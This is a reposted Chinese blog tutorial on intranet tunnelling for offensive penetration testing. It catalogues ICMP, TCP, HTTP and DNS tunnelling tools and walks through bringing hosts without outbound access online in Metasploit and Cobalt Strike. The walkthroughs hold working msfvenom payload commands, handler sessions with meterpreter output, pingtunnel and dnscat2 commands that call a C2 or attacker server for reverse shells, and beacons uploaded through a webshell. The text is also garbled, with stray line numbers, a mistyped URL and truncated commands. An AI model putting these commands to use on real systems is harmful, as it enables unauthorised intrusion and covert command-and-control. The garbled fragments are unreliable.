内网穿刺 隧道建立
转载自 https://blog.csdn.net/weixin_44604541/article/details/118305353
前言
- 1、定义
- (1)内网穿透
- (2)隧道技术
- 2、内网主机所有可能的出网方式
- (1)允许ICMP协议出网
- (2)允许特定的TCP或UDP协议端口出网
- (3)允许特定的应用层协议出网(比如HTTP、SSH、DNS等应用层协议)
- 3、端口映射和端口转发
- (1)端口映射
- (2)端口转发
- 1、网络层隧道工具
- (1)icmpsh
- (2)icmptunnel
- (3)pingtunnel
- 2、传输层隧道工具
- (1)netcat
- (2)powercat
- (3)socat
- (4)netsh
- (5)lcx
- (6)NATBypass
- (7)iox
- (8)frp
- 3、应用层隧道工具
- (1)dnscat2
- (2)dnscat2-powershell
- (3)dns2tcp
- (4)iodine
- (5)reGeorg
- (6)Neo-reGeorg
- (7)reDuh
- (8)Tunna
- (9)ABPTTS
- (10)EarthWorm(EW)
- (11)Termite
- (12)Venom
- (13)ssocks
- (14)s5.go
- (15)ssh
- 1、上线零出网的内网主机
- (1)背景
- (2)方案
- (3)过程
- 2、上线仅ICMP协议出网的内网主机
- (1)背景
- (2)方案
- (3)过程
- 3、上线仅DNS协议出网的内网主机
- (1)背景
- (2)方案
- (3)过程
内网穿透(隧道)技术
https://cloud.tencent.com/developer/article/1832949?from=article.detail.1419096
内网主机所有可能的出网方式
https://zhuanlan.zhihu.com/p/33539224
内网主机所有可能的出网方式
https://zhuanlan.zhihu.com/p/33539224
2、HTTP隧道
原理:通过HTTP协议与代理服务器建立连接,协议信令中包含要连接到的远程主机的IP和端口,如果有需要身份验证的话还需要加上授权信息,服务器收到信令后首先进行身份验证,通过后便与远程主机建立连接,连接成功之后会返回给客户端200,表示验证通过。此外HTTP隧道是没有进行加密的,不安全的,一般再嵌套一个SSH安全隧道
CONNECT 124.xxx.xxx.xx:443 HTTP/1.1 //建立http隧道要443端口
Proxy-Connection: Keep-Alive //客户端到服务器端的连接持续有效
Content-Length: 0
Host: 124.xxx.xxx.xx //主机地址
Proxy-Authorization:Basic YTph //身份验证信息
User-Agent: OpenFetion //可以标识请求者的信息,如什么浏览器类型和版本、操作系统、使用语言等信息
- 1
- 2
- 3
- 4
- 5
- 6
可参考:
https://github.com/bdamele/icmpsh
能通过ICMP协议反弹cmd,功能单一,反弹回来的cmd极不稳定,不推荐使用
可参考:https://www.freebuf.com/news/210450.html
https://github.com/DhavalKapil/icmptunnel
创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用
https://github.com/esrrhs/pingtunnel
TCP、UDP、socks5 over ICMP,速度快,连接稳定,跨平台,client模式不需要管理员权限即可正常使用,推荐使用
https://eternallybored.org/misc/netcat/
网络工具中的瑞士军刀,不多介绍,linux系统一般自带
https://github.com/besimorhino/powercat
powershell版的netcat
https://github.com/erluko/socat
具有记录转发流的功能,方便查看转发内容,需要安装
https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts
windows系统自带的网络配置工具
https://github.com/windworst/LCX
基于socket套接字实现的端口转发工具,从linux下的htran移植给Windows的
//内网机器10.0.0.1的3389端口,转发到公网9000端口
lcx.exe -slave 192.168.1.161 9000 10.0.0.1 3389
//公网机器192.168.1.1,将本机端口9000上监听的所有数据转发到本机5555上
lcx.exe -listen 9000 5555
- 1
- 2
- 3
- 4
- 5
https://github.com/cw1997/NATBypass
一款lcx在golang下的实现,更好的跨平台,更完善的文档
https://github.com/EddieIvan01/iox
端口转发 & 内网代理工具,功能类似于lcx/ew,简化了命令行参数,支持UDP流量转发,更好的跨平台
缺点:不支持监听指定IP,默认监听0.0.0.0:port,会增大暴露风险
https://github.com/fatedier/frp
用Go写的,支持TCP和UDP,以及HTTP和HTTPS协议,同时也支持P2P,仍在持续更新
https://github.com/iagox86/dnscat2
IP over DNS通过 DNS 协议创建加密的命令和控制 (C&C) 通道,看起来厉害极了
可参考:
- https://cloud.tencent.com/developer/article/1474644?from=article.detail.1552172
- https://cloud.tencent.com/developer/article/1419096
https://github.com/lukebaggett/dnscat2-powershell
dnscat2的powershell客户端
https://github.com/alex-sector/dns2tcp
TCP over DNS,即通过DNS隧道转发TCP连接,没有加密。采用直连,但速度不是特别乐观,优势在于kali直接集成了这个工具,部分linux发行版也都可以直接通过包工具下载,相对方便
可参考: https://cloud.tencent.com/developer/article/1552172?from=article.detail.1419096
https://github.com/yarrick/iodine
IPv4 over DNS,即通过DNS隧道转发IPv4数据包,在编码,请求类型上提供了更丰富的选择,而且在速度方面更快
可参考: https://cloud.tencent.com/developer/article/1552172?from=article.detail.1419096
https://github.com/sensepost/reGeorg
SOCKS over HTTP,即通过HTTP隧道转发SOCKS,用Python写的,基于Python2.7和urllib3,上传一个Tunnel脚本,然后远程连接转发端口即可建立socket代理隧道
- 对于aspx的网站假如总是报错,可以尝试ashx脚本
- PHP程序确认php.ini中socket模块正常开启并且可用,reGeorge也提供了nosocket脚本
- linux下利用proxychains,Windows下利用proxifier实现任意应用通过代理
- 假如绑定某些端口会遇到socket无法建立连接时,尝试着利用80、53等穿透性强的端口
https://github.com/L-codes/Neo-reGeorg
重构版reGeorg,提高稳定性和可用性,避免特征检测,更新活跃
根据作者说法:
- 传输内容经过变形 base64 加密,伪装成 base64 编码
- 直接请求响应可定制化 (如伪装的404页面)
- HTTP Headers 的指令随机生成,避免特征检测
- HTTP Headers 可定制化
- 自定义 HTTP 响应码
- 多 URL 随机请求
- 服务端 DNS 解析
- 兼容 python2 / python3
- 服务端环境的高兼容性
- (仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
- aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
- 支持内网转发,应对负载均衡环境
https://github.com/sensepost/reDuh
TCP over HTTP,即通过HTTP隧道转发TCP连接,隧道不稳定
https://github.com/SECFORCE/Tunna
TCP、SOCKS over HTTP,即通过HTTP隧道转发TCP连接和SOCKS,隧道不稳定
https://github.com/nccgroup/ABPTTS
TCP over HTTP,即通过HTTP隧道转发TCP连接
- 数据加密,可自定义HTTP数据
- 对抗特征检测十分优秀
- 创建的隧道十分稳定
- 比较遗憾的是支持的web脚本类型只有aspx和jsp
http://rootkiter.com/EarthWorm/
github:https://github.com/rootkiter/Binary-files
下载:https://github.com/rootkiter/Binary-files/tree/bd3223082afbf88421fe391eb55b9eb2da7d533e

十分方便的多级SOCKS代理,已经永久停止更新,五种管道:
- ssocksd : 正向代理
- rssocks : 反向代理
- lcx_slave: 该管道一侧通过反弹方式连接代理请求,另一侧连接代理提供主机
- lcx_tran : 该管道通过监听本地端口代理请求,并转发给代理提供主机
- lcx_listen : 该管道通过监听本地端口接收数据,并将其转发给目标网络回连的代理提供主机
http://rootkiter.com/Termite/
github:https://github.com/rootkiter/Binary-files/tree/bd3223082afbf88421fe391eb55b9eb2da7d533e
EarthWorm的升级版,已经永久停止更新
https://github.com/Dliv3/Venom/
Venom是一款基于ssh隧道,为渗透测试人员设计的使用Go开发的多级代理工具
据作者说:
- 可视化网络拓扑
- 多级socks5代理
- 多级端口转发
- 端口复用 (apache/mysql/…)
- ssh隧道
- 交互式shell
- 文件的上传和下载
- 节点间通信加密
- 支持多种平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips)
:https://github.com/54Pany/sSocks
正向和反向的socks工具,可执行文件的大小很小,支持socks5验证,支持IPV6和UDP
https://github.com/ring04h/s5.go
go语言编写的socks服务工具,良好的跨平台特性
http://192.168.168.10/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888
# abptts客户端监听127.0.0.1:7777,通过http://192.168.168.10/abptts.aspx这个http隧道,将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
生成bind类型的payload,通过webshell上传执行
# 这里的rhost和lport是转发的目的IP和端口
msfvenom -p windows/meterpreter/bind_tcp rhost=127.0.0.1 lport=8888 -f exe -o meterpreter.exe
- 1
- 2
启动msf监听,等待meterpreter执行上线
#这里的rhost和lport是abptts客户端监听的IP和端口,msf所在主机必须能访问到这个IP和端口,这里msf和abptts在同一个主机上
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run
[] Started bind TCP handler against 127.0.0.1:7777
[] Sending stage (180291 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 127.0.0.1:7777) at 2020-04-27 04:50:25 -0400
meterpreter > getuid
Server username: DESKTOP-0AH7FQ0\admin
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
2、上线cobaltstrike
由于cobaltstrike的bind类型的监听器仅有beacon TCP和beacon SMB,并且都必须连接到父beacon,无法直接连接cobalstrike服务端,所以我们需要一个父beacon来中转连接。
-
通过正向的http隧道构建tcp连接
# 配置abptts运行环境 # 注意windows安装pycrypto库需要先安装依赖http://aka.ms/vcpython27 pip install httplib2 pip install pycrypto# 生成server端脚本
python abpttsfactory.py -o server# 上传server端脚本到web服务器,客户端运行以下命令
python abpttsclient.py -c server/config.txt -u "http://192.168.168.121/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888# abptts客户端监听127.0.0.1:7777,通过http://192.168.168.121/abptts.aspx这个http隧道,将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
-
创建反向的listener

-
生成父beacon

-
上传父beacon到abptts客户端执行上线

-
创建payload为TCP beacon的listener

-
生成stageless的子beacon

-
将生成的子beacon通过webshell上传执行
# 可以通过webshell查看网络监听,确保子beacon执行成功 netstat -ano | findstr 127.0.0.1:8888- 1
- 2
-
在父beacon中连接ABPTTS的监听IP和端口

-
成功上线不能出网的webshell内网主机

https://0.0.0.0:7777
meterpreter > getuid
Server username: DESKTOP-test0\admin
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
2、ICMP隧道转发socks上线metasploit
-
准备好一个具有公网IP的服务器,root权限运行以下命令,启动ICMP隧道服务端
./pingtunnel -type server -noprint 1 -nolog 1- 1
-
ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1 # 该命令的意思是icmp隧道客户端监听127.0.0.1:6688启动socks5服务,通过连接到icmpserver_ip的icmp隧道,由icmpserver转发socks5代理请求到目的地址- 1
- 2
-
生成支持socks5代理的反向payload的meterpreter并上传到ICMP隧道客户端执行即可上线
msfvenom -p windows/meterpreter/reverse_https LHOST=c2_server_ip LPORT=8443 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=6688 -f exe -o meterpreter.exe- 1
-
启动msf监听,等待meterpreter执行上线
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf5 exploit(multi/handler) > set lhost 0.0.0.0 lhost => 0.0.0.0 msf5 exploit(multi/handler) > set lport 8443 lport => 8443 msf5 exploit(multi/handler) > run[*] Started HTTPS reverse handler on https://0.0.0.0:8443
meterpreter > getuid
Server username: DESKTOP-test0\admin- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
3、ICMP隧道转发TCP上线cobaltstrike
-
准备好一个具有公网IP的服务器,root权限运行以下命令,启动ICMP隧道服务端
./pingtunnel -type server -noprint 1 -nolog 1- 1
-
ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1 # 该命令的意思是icmp隧道客户端监听127.0.0.1:9999,通过连接到icmpserver_ip的icmp隧道,将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777- 1
- 2
-
cobaltstrike创建listener
https host和https port(c2)为ICMP隧道客户端的监听IP和端口
https port(bind)为转发目的地址的端口

-
生成反向payload的beacon

-
上传生成的beacon到ICMP隧道客户端执行,成功通过反向ICMP隧道上线

4、ICMP隧道转发socks上线cobaltstrike
-
准备好一个具有公网IP的服务器,root权限运行以下命令,启动ICMP隧道服务端
./pingtunnel -type server -noprint 1 -nolog 1- 1
-
ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1 # 该命令的意思是icmp隧道客户端监听127.0.0.1:6688启动socks5服务,通过连接到icmpserver_ip的icmp隧道,由icmpserver转发socks5代理请求到目的地址- 1
- 2
-
cobaltstrike创建listener
这里的代理可以是socks或者HTTP,好像cobaltstrike不支持socks5代理,这里并不能成功上线
这里也可以使用HTTP代理,不过需要工具将HTTP代理转为socks5代理,比如privoxy

-
选择创建的listener生成beacon上传到目标执行即可上线
https://githun.com/iagox86/dnscat2.git
cd dnscat2/server
bundle insatll
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
启动服务端
ruby ./dnscat2.rb --dns "domain=localhost,host=127.0.0.1,port=53" --no-cache
- 1
启动客户端
dnscat2-v0.07-client-win32.exe --dns server=攻击者的IP --secret=攻击者服务器生成的ID
- 1
反弹shell

交互模式
输入session命令可以查看当前控制的进程(每个连接都是独立的进程)。输入shell命令打开另一个会话,建立一个交互模式

网络层绕过IDS/IPS的一些探索
参考:
- 内网渗透之内网穿透
- 内网渗透之DNS隧道技术
- 内网渗透之主机出网OR不出网隧道搭建
- FRP 内网穿透
- 内网渗透之通信隧道
- 基于bro的安全场景研究测试-DNS隧道